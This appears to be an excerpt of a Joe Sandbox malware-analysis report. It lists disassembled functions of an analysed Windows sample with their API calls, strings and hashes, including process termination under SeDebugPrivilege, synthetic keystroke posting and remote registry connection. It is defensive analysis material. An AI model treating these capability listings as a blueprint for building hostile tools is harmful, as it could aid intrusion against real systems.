Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: d3914be1417e416de5e7b212cba28a0f8c3aae88245028f58a28963e7f2cc3ce
Instruction ID: 304580468198b58b3185536b0cfd0c2b3077bd41de5b7a3a51a291b92d99ba68
Opcode Fuzzy Hash: d3914be1417e416de5e7b212cba28a0f8c3aae88245028f58a28963e7f2cc3ce
Instruction Fuzzy Hash: 8BE18F312043419FC726EF24C891A6BBBE5AF85314F15886DF9899F2A2DB31EC45CF52

Function 0034527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00344BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00343B8A,?), ref: 00344BE0

Part of subcall function 00344BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00343B8A,?), ref: 00344BF9

Part of subcall function 00344FEC: GetFileAttributesW.KERNELBASE(?,00343BFE), ref: 00344FED

lstrcmpiW.KERNEL32(?,?), ref: 003452FB
_wcscmp.LIBCMT ref: 00345315
MoveFileW.KERNEL32(?,?), ref: 00345330

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: c4a5e168dc48e19fb3072bb7decc894e6dd3a2b231389b813e064475e0a45383
Instruction ID: d5fad8da515b5c9131383d66d4727336fe650a8ef27e80a803c1db1de7ece1cf
Opcode Fuzzy Hash: c4a5e168dc48e19fb3072bb7decc894e6dd3a2b231389b813e064475e0a45383
Instruction Fuzzy Hash: 355186B24083859BC726DBA0D8819DFB3EC9F84341F50492EF289DB152EF75B688C756

Function 00368C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00368D24

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 8a97f37de1a7a082ac40eb7732d98ca03b334f47796118fc77eba07fc3610b3a
Instruction ID: 858592982e2a0d2940f00d901a4e285094e5e9350e50a4cd305f73d79a7cdc6f
Opcode Fuzzy Hash: 8a97f37de1a7a082ac40eb7732d98ca03b334f47796118fc77eba07fc3610b3a
Instruction Fuzzy Hash: AB51B270641204FFEF369F28CC89B997B68EB09710F248711F615EB1E5CF72A990DA61

Function 002E2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0031C638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0031C65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0031C672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0031C690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0031C6B1
DestroyIcon.USER32(00000000), ref: 0031C6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0031C6DD
DestroyIcon.USER32(?), ref: 0031C6EC

Part of subcall function 0036AAD4: DeleteObject.GDI32(00000000), ref: 0036AB0D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 7a5d1466291076e772569d77fcb7877f31fa6d8fe6b4d1ee4de4fbb89ceab27a
Instruction ID: 6636fdcd97314b2332f4a7ef1b8f51cf4c00cb620092024976dceda4e4a47a34
Opcode Fuzzy Hash: 7a5d1466291076e772569d77fcb7877f31fa6d8fe6b4d1ee4de4fbb89ceab27a
Instruction Fuzzy Hash: 33518C70660249EFDB29DF25CC85BAA77B9EB48710F104528F946D7690DBB0ECA0DF50

Function 0033A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0033B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0033B54D
Part of subcall function 0033B52D: GetCurrentThreadId.KERNEL32 ref: 0033B554
Part of subcall function 0033B52D: AttachThreadInput.USER32(00000000,?,0033A23B,?,00000001), ref: 0033B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 0033A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0033A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0033A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 0033A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0033A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0033A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 0033A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0033A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0033A2B3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 337aaa6670f9cbaba4b1c46a8b2775fc509cb58de79c9ce65f01fc91cb4fad1c
Instruction ID: 8466e0f165b2abe752b277cac96992c198d7be35063f1e8336806ca3f7472886
Opcode Fuzzy Hash: 337aaa6670f9cbaba4b1c46a8b2775fc509cb58de79c9ce65f01fc91cb4fad1c
Instruction Fuzzy Hash: F211E1B1950618FEF6216F609C8AF6A7B2DEB4C761F501419F384AB0D0CAF35C90DAA0

Function 003394D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0033915A,00000B00,?,?), ref: 003394E2
HeapAlloc.KERNEL32(00000000,?,0033915A,00000B00,?,?), ref: 003394E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0033915A,00000B00,?,?), ref: 003394FE
GetCurrentProcess.KERNEL32(?,00000000,?,0033915A,00000B00,?,?), ref: 00339506
DuplicateHandle.KERNEL32(00000000,?,0033915A,00000B00,?,?), ref: 00339509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0033915A,00000B00,?,?), ref: 00339519
GetCurrentProcess.KERNEL32(0033915A,00000000,?,0033915A,00000B00,?,?), ref: 00339521
DuplicateHandle.KERNEL32(00000000,?,0033915A,00000B00,?,?), ref: 00339524
CreateThread.KERNEL32(00000000,00000000,0033954A,00000000,00000000,00000000), ref: 0033953E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: b8942a15fed039037a7e13373a45fcc98ad6025dac17ea6b175f8beebdc8c43f
Instruction ID: 1c4a6a28cb6e702f2a41b1b77da8cd049bb7b06a1325ea04fb607fd8a55226d0
Opcode Fuzzy Hash: b8942a15fed039037a7e13373a45fcc98ad6025dac17ea6b175f8beebdc8c43f
Instruction Fuzzy Hash: 4E01BBB5240304FFE721ABA5DC4DF6B7BACEB89711F404411FA09DB1A1CAB09840CB20

Function 0035A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0035A28E, 0035A5B2
Not an Object type, xrefs: 0035A265

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 1a271580c7412969c9d6cfc302af411cdf738d3714c334f6c04a09b52298f448
Instruction ID: 3a77fcb9857cbd5618c09921a2d755badb714cc636bd9eb4beb6961c6c293fbf
Opcode Fuzzy Hash: 1a271580c7412969c9d6cfc302af411cdf738d3714c334f6c04a09b52298f448
Instruction Fuzzy Hash: 5CC1E271A0060A9FDF12CF98C884EAEB7F9FB48305F158529ED45AB290E7709D48DB91

Function 003597FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00359851
VariantInit.OLEAUT32(?), ref: 00359922
VariantInit.OLEAUT32(?), ref: 00359A23
VariantClear.OLEAUT32(?), ref: 00359A2D
VariantClear.OLEAUT32(?), ref: 00359A8A

Strings

Null Object assignment in FOR..IN loop, xrefs: 003598B2, 003599E0, 00359A98
Incorrect Object type in FOR..IN loop, xrefs: 00359A06

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 41e1a0c9c8e4d8257c731a6a57b8e577357e61366684f29e2d3c3064ce7d1452
Instruction ID: 8a8477ca43eae121ccc543e8f51d1efd075cc9e256ed65a236a685d0f8f2f6ce
Opcode Fuzzy Hash: 41e1a0c9c8e4d8257c731a6a57b8e577357e61366684f29e2d3c3064ce7d1452
Instruction Fuzzy Hash: 5E917071A00219EBDF26CFA5C844FAEB7B8EF45711F10855EF915AB2A0D7709948CFA0

Function 00359E47 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00337D28: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?,?,00338073), ref: 00337D45
Part of subcall function 00337D28: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?), ref: 00337D60
Part of subcall function 00337D28: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?), ref: 00337D6E
Part of subcall function 00337D28: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?), ref: 00337D7E

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00359EF0
_memset.LIBCMT ref: 00359EFD
_memset.LIBCMT ref: 0035A040
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 0035A06C
CoTaskMemFree.OLE32(?), ref: 0035A077

Strings

NULL Pointer assignment, xrefs: 0035A0C5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: bb055c9067f88d697c51220510e5f8b15d1aa5899b4cbec34d9729c450bce055
Instruction ID: 635469a2bad08ac0ed9b71ca69a5fdbd9d4bb40d75f296fcf6c70b2ffa0fae24
Opcode Fuzzy Hash: bb055c9067f88d697c51220510e5f8b15d1aa5899b4cbec34d9729c450bce055
Instruction Fuzzy Hash: 7A914A71D0022DEBDB21DFA4D841EDEBBB9EF08350F10812AF919A7291DB715A54CFA1

Function 003673A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00367449
SendMessageW.USER32(?,00001036,00000000,?), ref: 0036745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00367477
_wcscat.LIBCMT ref: 003674D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 003674E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00367517

Strings

SysListView32, xrefs: 0036741B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: dea0d374f2260a78c6271c394e552d1d3c111ee73dbf385dad8053343561a347
Instruction ID: 38f3adc0f310cf083e78dbd91cc81b42fd5b636c917369891c29389787bd356f
Opcode Fuzzy Hash: dea0d374f2260a78c6271c394e552d1d3c111ee73dbf385dad8053343561a347
Instruction Fuzzy Hash: 8541A270A04348AFEB239F64CC89BEE77A8EF08354F51846AFA45A72D1D6719D84CB50

Function 0035F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00344148: CreateToolhelp32Snapshot.KERNEL32 ref: 0034416D
Part of subcall function 00344148: Process32FirstW.KERNEL32(00000000,?), ref: 0034417B
Part of subcall function 00344148: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00344245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0035F08D
GetLastError.KERNEL32 ref: 0035F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0035F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 0035F14C
GetLastError.KERNEL32(00000000), ref: 0035F157
CloseHandle.KERNEL32(00000000), ref: 0035F18C

Strings

SeDebugPrivilege, xrefs: 0035F0AB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 1701285019-2896544425
Opcode ID: 8a2a03e7e6390cd11e0cbfbf0d5273220ac65d848e6ff46139daf1217dbbb697
Instruction ID: dbbd2b16f4a11c12629fb051f7c5cbffff108fe7374e34791419438f9dce9742
Opcode Fuzzy Hash: 8a2a03e7e6390cd11e0cbfbf0d5273220ac65d848e6ff46139daf1217dbbb697
Instruction Fuzzy Hash: 5241E071200201DFDB26EF24CC95F6DB7A5AF84714F088428F9468F2E2CBB4A958CF85

Function 003447E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00344802
LoadStringW.USER32(00000000), ref: 00344809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0034481F
LoadStringW.USER32(00000000), ref: 00344826
_wprintf.LIBCMT ref: 0034484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0034486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00344847

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: bf9ea83bbd0b74260f8c2a8e272f8adae34309344a8c6464c0a0d06da74356e0
Instruction ID: 8aeed4eb2805c8d7f9fef6dc47c47a714c9f73084d90a127069280e47c47c1ee
Opcode Fuzzy Hash: bf9ea83bbd0b74260f8c2a8e272f8adae34309344a8c6464c0a0d06da74356e0
Instruction Fuzzy Hash: F90162F6900208BFE76697A09D89EF7736CE708300F4005A5B74DE6041EB74AE848F75

Function 0036DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

GetSystemMetrics.USER32(0000000F), ref: 0036DB42
GetSystemMetrics.USER32(0000000F), ref: 0036DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0036DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0036DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0036DDDC
ShowWindow.USER32(00000003,00000000), ref: 0036DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 0036DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 0036DE43

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 77ff35f6c338d2108966c8dafcaab4640616c4afe451b0760bb32e074b700265
Instruction ID: 7a3b7907c74ab6dee413930c196cf8bed065b9304fbac5843df5e69274b5e0a6
Opcode Fuzzy Hash: 77ff35f6c338d2108966c8dafcaab4640616c4afe451b0760bb32e074b700265
Instruction Fuzzy Hash: 15B18830A00219EFCF1ACF69C9857A97BB5FF44700F09C069EC489E299D735A990CBA0

Function 00360371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0036147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0036040D,?,?), ref: 00361491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0036044E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 3b78891c7afc45947a2efe49c85ce93a0ab75f69348fe47c93b8a0443d8da0fa
Instruction ID: 31d7e5979249a11b115db42e66646f019ae024fcb6cb94a90d9354ae346220a5
Opcode Fuzzy Hash: 3b78891c7afc45947a2efe49c85ce93a0ab75f69348fe47c93b8a0443d8da0fa
Instruction Fuzzy Hash: A0A19C70204205DFCB26EF64C881B6EB7E5EF84314F14891DF9968B2A2DB31E965CF42

Function 002E2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0031C508,00000004,00000000,00000000,00000000), ref: 002E2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0031C508,00000004,00000000,00000000,00000000,000000FF), ref: 002E2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0031C508,00000004,00000000,00000000,00000000), ref: 0031C55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0031C508,00000004,00000000,00000000,00000000), ref: 0031C5C7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 1c72cad5c2bc568495dd70066f5ddbe9742c94a782856e5bad935e969635ecfa
Instruction ID: 39b95182baaf5d3fad93a8f4a0e7a4c8ac8cb886950ef6df0427ca03eb83360b
Opcode Fuzzy Hash: 1c72cad5c2bc568495dd70066f5ddbe9742c94a782856e5bad935e969635ecfa
Instruction Fuzzy Hash: 9641E8306B46D1DAD73E8B2B8C9876A7BDEAB86300F9C540DE44746561C7B1B8E8D710

Function 00347681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00347698

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 003476CF
EnterCriticalSection.KERNEL32(?), ref: 003476EB
_memmove.LIBCMT ref: 00347739
_memmove.LIBCMT ref: 00347756
LeaveCriticalSection.KERNEL32(?), ref: 00347765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0034777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00347799

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

